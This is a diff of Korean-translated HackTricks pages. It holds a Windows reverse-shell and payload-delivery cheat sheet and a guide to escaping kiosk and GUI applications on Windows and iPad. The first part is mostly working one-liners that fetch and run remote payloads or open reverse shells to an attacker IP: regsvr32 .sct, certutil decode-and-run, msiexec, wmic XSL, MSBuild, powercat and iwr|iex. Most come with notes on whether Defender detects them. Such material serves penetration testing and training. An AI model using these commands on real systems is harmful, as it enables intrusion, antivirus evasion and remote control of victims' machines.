regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -251,7 +291,9 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -260,6 +302,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
|
||||
**Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 regsvr을 사용하여**
|
||||
|
||||
## Certutil
|
||||
|
@ -267,32 +310,42 @@ run
|
|||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
B64dll을 다운로드하고 디코딩하여 실행합니다.
|
||||
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
|
||||
B64exe를 다운로드하고 디코딩한 후 실행하십시오.
|
||||
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
|
||||
## **Cscript/Wscript**
|
||||
|
||||
```bash
|
||||
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
|
||||
```
|
||||
|
||||
**Cscript - Metasploit**
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
## PS-Bat
|
||||
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -301,28 +354,36 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
공격자
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
||||
피해자:
|
||||
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
|
||||
**감지됨**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
|
||||
예제 xsl 파일 [여기에서](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
|
||||
```xml
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -334,6 +395,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
|
||||
**감지되지 않음**
|
||||
|
||||
**스테이저 wmic을 사용하여 매우 쉽게 Koadic 좀비를 다운로드하고 실행할 수 있습니다**
|
||||
|
@ -341,22 +403,28 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
## Msbuild
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
|
||||
이 기술을 사용하여 응용 프로그램 화이트리스트 및 Powershell.exe 제한을 우회할 수 있습니다. PS 셸로 프롬프트가 표시됩니다.\
|
||||
다음을 다운로드하고 실행하십시오: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
||||
**감지되지 않음**
|
||||
|
||||
## **CSC**
|
||||
|
||||
피해자 컴퓨터에서 C# 코드를 컴파일합니다.
|
||||
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
|
||||
다음 위치에서 기본 C# 역술을 다운로드할 수 있습니다: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**감지되지 않음**
|
||||
|
@ -364,9 +432,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
|||
## **Regasm/Regsvc**
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
|
||||
**시도해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
@ -374,9 +444,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
## Odbcconf
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
|
||||
**시도해보지 않았습니다**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
@ -387,14 +459,18 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells** 폴더에는 다양한 셸이 있습니다. Invoke-_PowerShellTcp.ps1_을 다운로드하고 실행하려면 스크립트의 사본을 만들고 파일 끝에 추가하십시오:
|
||||
**Shells** 폴더에는 다양한 셸이 있습니다. Invoke-\_PowerShellTcp.ps1\_을 다운로드하고 실행하려면 스크립트의 사본을 만들고 파일 끝에 추가하십시오:
|
||||
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
||||
웹 서버에서 스크립트를 제공하고 피해자의 단말기에서 실행합니다:
|
||||
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
||||
Defender는 아직 악성 코드로 감지하지 못했습니다 (아직, 2019년 3월 4일).
|
||||
|
||||
**할 일: 다른 nishang 쉘을 확인하세요**
|
||||
|
@ -404,14 +480,17 @@ Defender는 아직 악성 코드로 감지하지 못했습니다 (아직, 2019
|
|||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
다운로드하고, 웹 서버를 시작하고, 수신기를 시작하고, 피해자의 단말기에서 실행하세요:
|
||||
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
||||
Defender는 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일).
|
||||
|
||||
**powercat에서 제공하는 다른 옵션:**
|
||||
|
||||
바인드 쉘, 역쉘 (TCP, UDP, DNS), 포트 리다이렉트, 업로드/다운로드, 페이로드 생성, 파일 제공...
|
||||
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -428,14 +507,17 @@ powercat -c 10.1.1.15 -p 443 -e cmd -g
|
|||
Start A Persistent Server That Serves a File:
|
||||
powercat -l -p 443 -i C:\inputfile -rep
|
||||
```
|
||||
|
||||
### Empire
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
파워쉘 런처를 생성하고 파일에 저장한 후 다운로드하고 실행합니다.
|
||||
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
||||
**악성 코드로 감지됨**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
@ -443,17 +525,23 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
유니콘을 사용하여 메타스플로잇 백도어의 파워쉘 버전 생성
|
||||
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
||||
다음은 생성된 리소스를 사용하여 msfconsole을 시작하는 방법입니다:
|
||||
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
|
||||
피해자에서 다음을 실행하고 _powershell\_attack.txt_ 파일을 서비스하는 웹 서버를 시작하십시오:
|
||||
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
||||
**악성 코드로 감지됨**
|
||||
|
||||
## 더 보기
|
||||
|
@ -470,11 +558,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) 악의적인 PS 모듈과 프
|
|||
* [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/)
|
||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) **Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -487,7 +573,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요**.
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) **또는** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나**트위터\*\* 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요\*\*.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
294
hardware-physical-access/escaping-from-gui-applications.md
Normal file
294
hardware-physical-access/escaping-from-gui-applications.md
Normal file
|
@ -0,0 +1,294 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배워보세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요. 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# GUI 애플리케이션 내에서 가능한 작업 확인하기
|
||||
|
||||
**일반 대화 상자**는 **파일 저장**, **파일 열기**, 글꼴 선택, 색상 선택 등의 옵션입니다. 대부분의 경우, 이러한 옵션을 통해 **탐색기 기능을 사용**할 수 있습니다. 따라서 다음 옵션에 액세스할 수 있다면 탐색기 기능에 액세스할 수 있습니다:
|
||||
|
||||
* 닫기/다른 이름으로 닫기
|
||||
* 열기/다른 앱으로 열기
|
||||
* 인쇄
|
||||
* 내보내기/가져오기
|
||||
* 검색
|
||||
* 스캔
|
||||
|
||||
다음을 확인해야 합니다:
|
||||
|
||||
* 파일 수정 또는 생성
|
||||
* 심볼릭 링크 생성
|
||||
* 제한된 영역에 액세스
|
||||
* 다른 앱 실행
|
||||
|
||||
## 명령 실행
|
||||
|
||||
아마도 **`열기`** 옵션을 사용하여 어떤 종류의 셸을 열거나 실행할 수 있을 것입니다.
|
||||
|
||||
### Windows
|
||||
|
||||
예를 들어 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 여기에서 명령을 실행할 수 있는 더 많은 이진 파일을 찾을 수 있습니다: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX __
|
||||
|
||||
_bash, sh, zsh..._ 여기에서 더 많은 이진 파일을 찾을 수 있습니다: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
|
||||
## 경로 제한 우회
|
||||
|
||||
* **환경 변수**: 일부 경로를 가리키는 많은 환경 변수가 있습니다.
|
||||
* **기타 프로토콜**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **심볼릭 링크**
|
||||
* **바로 가기**: CTRL+N(새 세션 열기), CTRL+R(명령 실행), CTRL+SHIFT+ESC(작업 관리자), Windows+E(탐색기 열기), CTRL-B, CTRL-I(즐겨찾기), CTRL-H(기록), CTRL-L, CTRL-O(파일/열기 대화 상자), CTRL-P(인쇄 대화 상자), CTRL-S(다른 이름으로 저장)
|
||||
* 숨겨진 관리 메뉴: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **Shell URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC 경로**: 공유 폴더에 연결하기 위한 경로입니다. 로컬 머신의 C$에 연결해 보세요 ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **더 많은 UNC 경로:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## 이진 파일 다운로드
|
||||
|
||||
콘솔: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
탐색기: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
레지스트리 편집기: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## 브라우저에서 파일 시스템에 액세스하기
|
||||
|
||||
| 경로 | 경로 | 경로 | 경로 |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## 바로 가기
|
||||
|
||||
* Sticky Keys – SHIFT 키 5번 누르기
|
||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
||||
* Toggle Keys – NUMLOCK 키 5초 동안 누르기
|
||||
* Filter Keys – 오른쪽 SHIFT 키 12초 동안 누르기
|
||||
* WINDOWS+F1 – Windows 검색
|
||||
* WINDOWS+D – 데스크톱 보기
|
||||
* WINDOWS+E – Windows 탐색기 실행
|
||||
* WINDOWS+R – 실행
|
||||
* WINDOWS+U – 접근성 센터
|
||||
* WINDOWS+F – 검색
|
||||
* SHIFT+F10 – 컨텍스트 메뉴
|
||||
* CTRL+SHIFT+ESC – 작업 관리자
|
||||
* CTRL+ALT+DEL – 최신 Windows 버전의 대문 화면
|
||||
* F1 – 도움말 F3 – 검색
|
||||
* F6 – 주소 표시줄
|
||||
* F11 – 인터넷 익스플로러에서 전체 화면 전환
|
||||
* CTRL+H – 인터넷 익스플로러 기록
|
||||
* CTRL+T – 인터넷 익스플로러 – 새 탭
|
||||
* CTRL+N – 인터넷 익스플로러 – 새 페이지
|
||||
* CTRL+O – 파일 열기
|
||||
* CTRL+S – 저장 CTRL+N – 새 RDP / Citrix
|
||||
## 스와이프
|
||||
|
||||
* 왼쪽에서 오른쪽으로 스와이프하여 모든 열린 창을 볼 수 있으며, KIOSK 앱을 최소화하고 전체 OS에 직접 액세스할 수 있습니다.
|
||||
* 오른쪽에서 왼쪽으로 스와이프하여 작업 센터를 열고, KIOSK 앱을 최소화하고 전체 OS에 직접 액세스할 수 있습니다.
|
||||
* 위쪽 가장자리에서 스와이프하여 전체 화면 모드에서 열린 앱의 타이틀 바를 표시합니다.
|
||||
* 아래에서 위로 스와이프하여 전체 화면 앱에서 작업 표시줄을 표시합니다.
|
||||
|
||||
## 인터넷 익스플로러 팁
|
||||
|
||||
### '이미지 도구 모음'
|
||||
|
||||
이미지를 클릭하면 이미지의 왼쪽 상단에 나타나는 도구 모음입니다. 저장, 인쇄, 메일 보내기, 탐색기에서 "내 사진" 열기가 가능합니다. Kiosk는 인터넷 익스플로러를 사용해야 합니다.
|
||||
|
||||
### 쉘 프로토콜
|
||||
|
||||
다음 URL을 사용하여 탐색기 보기를 얻을 수 있습니다:
|
||||
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
* `shell:Libraries`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Personal`
|
||||
* `shell:SearchHomeFolder`
|
||||
* `shell:NetworkPlacesFolder`
|
||||
* `shell:SendTo`
|
||||
* `shell:UserProfiles`
|
||||
* `shell:Common Administrative Tools`
|
||||
* `shell:MyComputerFolder`
|
||||
* `shell:InternetFolder`
|
||||
* `Shell:Profile`
|
||||
* `Shell:ProgramFiles`
|
||||
* `Shell:System`
|
||||
* `Shell:ControlPanelFolder`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> 제어판
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> 내 컴퓨터
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> 내 네트워크 위치
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> 인터넷 익스플로러
|
||||
|
||||
## 파일 확장자 표시
|
||||
|
||||
자세한 정보는 다음 페이지를 참조하세요: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# 브라우저 팁
|
||||
|
||||
iKat 버전을 백업하세요:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
|
||||
JavaScript를 사용하여 공통 대화 상자를 만들고 파일 탐색기에 액세스하세요: `document.write('<input/type=file>')`
|
||||
출처: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
|
||||
## 제스처 및 버튼
|
||||
|
||||
* 네 개(또는 다섯 개)의 손가락으로 위로 스와이프 / 홈 버튼을 두 번 누름: 멀티태스킹 보기를 보고 앱을 변경합니다.
|
||||
|
||||
* 네 개 또는 다섯 개의 손가락으로 한쪽으로 스와이프: 다음/이전 앱으로 변경합니다.
|
||||
|
||||
* 다섯 손가락으로 화면을 확대하거나 홈 버튼을 터치하거나 화면 아래에서 위로 빠르게 스와이프하여 홈에 액세스합니다.
|
||||
|
||||
* 한 손가락으로 화면 아래에서 천천히 1-2 인치만 스와이프: 도크가 나타납니다.
|
||||
|
||||
* 한 손가락으로 화면 위쪽에서 아래로 스와이프: 알림을 보려면.
|
||||
|
||||
* 한 손가락으로 화면 오른쪽 위 모서리에서 아래로 스와이프: iPad Pro의 제어 센터를 볼 수 있습니다.
|
||||
|
||||
* 화면 왼쪽에서 한 손가락으로 1-2 인치 스와이프: 오늘 보기를 볼 수 있습니다.
|
||||
|
||||
* 화면 중앙에서 빠르게 오른쪽 또는 왼쪽으로 한 손가락으로 스와이프: 다음/이전 앱으로 변경합니다.
|
||||
|
||||
* 오른쪽 상단 모서리의 전원/최대화 버튼을 누르고 윗쪽으로 슬라이드하여 오른쪽 끝까지 이동: 전원을 끕니다.
|
||||
|
||||
* 오른쪽 상단 모서리의 전원/최대화 버튼을 누르고 홈 버튼을 몇 초 동안 누릅니다: 강제 종료합니다.
|
||||
|
||||
* 오른쪽 상단 모서리의 전원/최대화 버튼을 누르고 홈 버튼을 빠르게 누릅니다: 하단 왼쪽에 팝업되는 스크린샷을 찍습니다. 버튼을 동시에 매우 짧게 누르면 몇 초 동안 누르는 것처럼 강제 종료됩니다.
|
||||
|
||||
## 바로 가기
|
||||
|
||||
iPad 키보드 또는 USB 키보드 어댑터가 필요합니다. 애플리케이션에서 탈출하는 데 도움이 되는 바로 가기만 여기에 표시됩니다.
|
||||
|
||||
| 키 | 이름 |
|
||||
| ---- | ------------- |
|
||||
| ⌘ | Command |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Return |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Left Arrow |
|
||||
| → | Right Arrow |
|
||||
| ↑ | Up Arrow |
|
||||
| ↓ | Down Arrow |
|
||||
|
||||
### 시스템 바로 가기
|
||||
|
||||
이 바로 가기는 iPad의 시각 설정 및 소리 설정에 대한 것입니다.
|
||||
|
||||
| 바로 가기 | 동작 |
|
||||
| ---------- | ------------------------------------------------------------ |
|
||||
| F1 | 화면 어둡게하기 |
|
||||
| F2 | 화면 밝게하기 |
|
||||
| F7 | 이전 곡으로 돌아가기 |
|
||||
| F8 | 재생/일시정지 |
|
||||
| F9 | 다음 곡으로 이동 |
|
||||
| F10 | 음소거 |
|
||||
| F11 | 볼륨 감소 |
|
||||
| F12 | 볼륨 증가 |
|
||||
| ⌘ Space | 사용 가능한 언어 목록 표시; 선택하려면 스페이스 바를 다시 누릅니다. |
|
||||
|
||||
### iPad 탐색
|
||||
|
||||
| 바로 가기 | 동작 |
|
||||
| -------------------------------------------------- | ------------------------------------------------------------ |
|
||||
| ⌘H | 홈으로 이동 |
|
||||
| ⌘⇧H (Command-Shift-H) | 홈으로 이동 |
|
||||
| ⌘ (Space) | Spotlight 열기 |
|
||||
| ⌘⇥ (Command-Tab) | 최근에 사용한 10개의 앱 목록 표시 |
|
||||
| ⌘\~ | 마지막 앱으로 이동 |
|
||||
| ⌘⇧3 (Command-Shift-3) | 스크린샷 (하단 왼쪽에 저장하거나 작업을 수행할 수 있음) |
|
||||
| ⌘⇧4 | 스크린샷 찍고 편집기에서 열기 |
|
||||
| ⌘를 누르고 누르고 있기 | 앱에 대한 사용 가능한 바로 가기 목록 표시 |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | 도크 표시 |
|
||||
| ^⌥H (Control-Option-H) | 홈 버튼 |
|
||||
| ^⌥H H (Control-Option-H-H) | 멀티태스킹 바 표시 |
|
||||
| ^⌥I (Control-Option-i) | 항목 선택기 |
|
||||
| Escape | 뒤로 가기 |
|
||||
| → (Right arrow) | 다음 항목으로 이동 |
|
||||
| ← (Left arrow) | 이전 항목으로 이동 |
|
||||
| ↑↓ (Up arrow, Down arrow) | 선택한 항목을 동시에 탭 |
|
||||
| ⌥ ↓ (Option-Down arrow) | 아래로 스크롤
|
||||
### Safari 바로 가기
|
||||
|
||||
| 바로 가기 | 동작 |
|
||||
| ----------------------- | ------------------------------------------------- |
|
||||
| ⌘L (Command-L) | 위치 열기 |
|
||||
| ⌘T | 새 탭 열기 |
|
||||
| ⌘W | 현재 탭 닫기 |
|
||||
| ⌘R | 현재 탭 새로 고침 |
|
||||
| ⌘. | 현재 탭 로딩 중지 |
|
||||
| ^⇥ | 다음 탭으로 전환 |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | 이전 탭으로 이동 |
|
||||
| ⌘L | 텍스트 입력/URL 필드 선택하여 수정 |
|
||||
| ⌘⇧T (Command-Shift-T) | 마지막으로 닫은 탭 열기 (여러 번 사용 가능) |
|
||||
| ⌘\[ | 브라우징 기록에서 이전 페이지로 이동 |
|
||||
| ⌘] | 브라우징 기록에서 다음 페이지로 이동 |
|
||||
| ⌘⇧R | 리더 모드 활성화 |
|
||||
|
||||
### 메일 바로 가기
|
||||
|
||||
| 바로 가기 | 동작 |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | 위치 열기 |
|
||||
| ⌘T | 새 탭 열기 |
|
||||
| ⌘W | 현재 탭 닫기 |
|
||||
